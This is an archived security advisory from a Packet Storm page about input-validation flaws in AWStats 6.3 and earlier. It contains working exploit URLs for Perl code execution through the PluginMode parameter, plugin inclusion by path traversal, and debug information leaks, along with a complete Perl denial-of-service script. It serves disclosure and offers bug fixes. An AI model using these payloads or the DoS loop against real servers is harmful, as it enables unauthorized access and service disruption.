what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

awstats63.txt

awstats63.txt
Posted Feb 24, 2005
Site ghc.ru

Successful exploitation of an input validation vulnerability in scripts from AWStats versions 6.3 and below allows attackers to execute limited perl directives under the privileges of the web server and get sensitive information.

tags | exploit, web, perl
SHA-256 | 1a226b0593c65789e7210aa2a9b495c75d9c954dc2b889e5c30d5f93af90474d

awstats63.txt

Change Mirror Download


/*==========================================*/
// GHC -> AWStats <- ADVISORY
\\ PRODUCT: AWStats
// VERSION: <= 6.3
\\ URL: http://awstats.sourceforge.net/
// VULNERABILITY CLASS: Multiple vulnerabilities
\\ RISK: high
/*==========================================*/

[Product Description]
"AWStats is a free powerful tool that generates advanced web, ftp or mail server statistics, graphically.
This log analyzer works as a CGI or from command line and shows you all possible information your log contains,
in few graphical web pages".
Current stable version: AWStats 6.3 final
Development version is 6.4 - 2005-02-06 14:31

[Summary]
Successful exploitation of an input validation vulnerability in AWStats scripts
allows attackers to execute limited perl directives under the privileges of
the web server, get sensetive information.
Some actions of the attacker can lead to denial of service.

[Details]
Some AWStats's functions can be extended with plugins.
Two variables (loadplugin & pluginmode) are dealing with it.
The first one (loadplugin) is responsible for plugins list (plugin1, plugin2); the second one
runs plugin's functions.

Exploitable example (raw log plugin):
http://server/cgi-bin/awstats-6.4/awstats.pl?pluginmode=rawlog&loadplugin=rawlog

Server answer:
192.*.*.* - - [26/Jan/2005:11:01:41 +0300] "GET /cgi-bin/index.cgi HTTP/1.1" 500 606
192.*.*.* - - [26/Jan/2005:11:03:54 +0300] "GET /cgi-bin/index.cgi HTTP/1.1" 500 606
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /themes/standard/style.css HTTP/1.1" 200 2986
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /cgi-bin/index.cgi HTTP/1.1" 200 7710
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /themes/standard/images/logo.gif HTTP/1.1" 200 14443
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /images/xml.gif HTTP/1.1" 200 429
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /images/pb_yawps.gif HTTP/1.1" 200 2532
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /themes/standard/images/valid-html401.gif HTTP/1.1" 200 2250
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /themes/standard/images/vcss.gif HTTP/1.1" 200 1547
192.*.*.* - - [26/Jan/2005:11:08:06 +0300] "GET /cgi-bin/forum.cgi HTTP/1.1" 200 7333
192.*.*.* - - [26/Jan/2005:11:08:11 +0300] "GET /cgi-bin/links.cgi HTTP/1.1" 200 7588
192.*.*.* - - [26/Jan/2005:11:08:12 +0300] "GET /cgi-bin/top10.cgi HTTP/1.1" 200 7910
192.*.*.* - - [26/Jan/2005:11:08:17 +0300] "GET /cgi-bin/admin.cgi HTTP/1.1" 200 7340
192.*.*.* - - [26/Jan/2005:11:08:33 +0300] "GET /yawpsnews.xml HTTP/1.1" 200 153

The dangerous fact is that attacker can read sensitive information such as
IP address, admin scripts names, non encoded GET queries, etc.

Our variables pass some verification (as others), but it is not enough for security:

sub Sanitize {
my $stringtoclean=shift;
$stringtoclean =~ s/[^\w_\-\\\/\.:\s]//g;
return $stringtoclean;
}

Deletes everything but '_', '-', '\', '/', '.', ':' and any blank symbol.
It's enough for variables with path to configuration files, but not for plugin tasks.
In case of "loadplugin" & "pluginmode" developers obviously have a lot of trust to the user.

So, let's see what can be done, in fact.

[1] Perl code execution.
http://server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent

we'll get the action in next piece of code:

# AWStats output is replaced by a plugin output
if ($PluginMode) {
my $function="BuildFullHTMLOutput_$PluginMode()";
eval("$function");
if ($? || $@) { error("$@"); }
&html_end(0);
exit 0;
}

If variable exists, we'll get code execution. This happens after sanitizing (see privious).
Here we have intresting part in:
my $function="BuildFullHTMLOutput_$PluginMode()";
eval("$function");

This is subroutine call (As example sub BuildFullHTMLOutput_rawlog() from
rawlog.pm plugin).
Ideal case: "module name"::BuildFullHTMLOutput_"function name"().
But if we won't specify the name of module (with "loadplugin" parameter) we'll get the next:

main::BuildFullHTMLOutput_"function name"().

By the way, there is permited symbol ':' in user input parameters. So, we can send:

PluginMode=:print+getpwent

And the $function becomes 'BuildFullHTMLOutput_:print getpwent()'.
This will satisfy eval() requirements., and :print getpwent() is executed.

http://www.lan.server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent

Sanitazing limits user's input, but there is no filtration for call sympols '()'.
Here we can see that somebody can perform DoS attack.
This is example of simple code for successful DoS exploitation:

#!/usr/bin/perl

use IO::Socket;
$server = 'www.example.com';
sub ConnectServer {
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80")
|| die "Error\n";
print $socket "GET /cgi-bin/awstats-6.4/awstats.pl?&hack=$rp&PluginMode=:sleep HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "\n\n";
}

while () {
$rp = rand;
&ConnectServer;
}

[BUGFIX]
Change vulnerable code for:

sub PluginSanitize {
my $stringtoclean=shift;
$stringtoclean =~ s/[^\w]//g;
return $stringtoclean;
}


[2] Arbitrary plugin including.
http://server/cgi-bin/awstats-6.4/awstats.pl?&loadplugin=../../../../usr/libdata/perl/5.00503/blib

Arbitrary module from user's input through "loadplugin" parameter can be included with "require" function..

Bugfix - as above or something like this:

opendir (PDIR, './plugins');
@FilesPDIR = readdir(PDIR);
closedir (PDIR);
foreach $FilesPName (@FilesPDIR) {
if ($FilesPName =~ m/$loadplugin/) {
}
}

The good thing is the poison null-byte (%00) has no place (transferes to 00).

[3] Sensetive information leak in AWStats version 6.3(Stable) - 6.4(Development).
Every user can access debug function:
http://server/cgi-bin/awstats-6.4/awstats.pl?debug=1
http://server/cgi-bin/awstats-6.4/awstats.pl?debug=2


[DISCLOSURE TIMELINE]

10-02-2005 Initial vendor notification.
14-02-2005 No response.
14-02-2005 Bug-traq post.

/* ================================================== */
/* www.ghc.ru -- security games & challenges */
/* ================================================== */
/* greets to: RST.void.ru, cr0n & all quest hunters %)*/
/* Special respect to e-defense. */
/* ================================================== */
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close